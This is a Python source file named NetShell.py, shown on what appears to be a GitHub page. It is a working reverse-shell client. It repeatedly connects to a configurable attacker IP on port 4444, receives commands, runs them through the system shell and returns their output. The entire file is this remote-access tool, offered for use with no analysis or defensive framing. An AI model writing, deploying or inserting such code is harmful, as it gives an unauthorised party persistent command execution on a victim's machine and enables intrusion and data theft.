-
Notifications
You must be signed in to change notification settings - Fork 0
/
NetShell.py
67 lines (56 loc) · 2.85 KB
/
NetShell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import os
import socket
import subprocess
import time
import json
IP = 'put ip here' # Change the IP address here
PORT = 4444 # Change the port number here
BUFFER_SIZE = 4096
def send_data(data):
"""Send data to the server."""
json_data = json.dumps(data) # Convert data to JSON format
json_data_bytes = json_data.encode() # Convert JSON data to bytes
data_length = len(json_data_bytes).to_bytes(4, byteorder='big') # Get the length of data and convert it to bytes
s.sendall(data_length) # Send the data length
for i in range(0, len(json_data_bytes), BUFFER_SIZE):
chunk = json_data_bytes[i:i + BUFFER_SIZE] # Send data in chunks of BUFFER_SIZE
s.sendall(chunk)
def recv_data():
"""Receive data from the server."""
data_length_bytes = s.recv(4) # Receive the length of data
data_length = int.from_bytes(data_length_bytes, byteorder='big') # Convert data length bytes to integer
json_data_bytes = b""
bytes_received = 0
while bytes_received < data_length:
chunk = s.recv(min(BUFFER_SIZE, data_length - bytes_received)) # Receive data in chunks
json_data_bytes += chunk
bytes_received += len(chunk)
json_data = json_data_bytes.decode() # Convert received bytes to JSON string
data = json.loads(json_data) # Convert JSON string to Python object
return data
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
while True:
try:
s.connect((IP, PORT)) # Connect to the server
break
except ConnectionRefusedError:
time.sleep(5) # Retry after 5 seconds if the connection is refused
while True:
command = recv_data() # Receive command from the server
if not command:
break # If command is empty, break the loop and exit
elif command == 'cd ..':
os.chdir('..') # Change the current directory to the parent directory
send_data(f"Current directory changed to: {os.getcwd()}") # Send response to the server
elif command.startswith('cd '):
foldername = command[3:]
os.chdir(foldername) # Change the current directory to the specified folder
send_data(f"Current directory changed to: {os.getcwd()}") # Send response to the server
else:
result = subprocess.run(command, shell=True, capture_output=True)
output = result.stdout.decode() # Get the output of the command
send_data(output) # Send the output back to the server
except Exception as e:
time.sleep(5) # Retry after 5 seconds if any exception occurs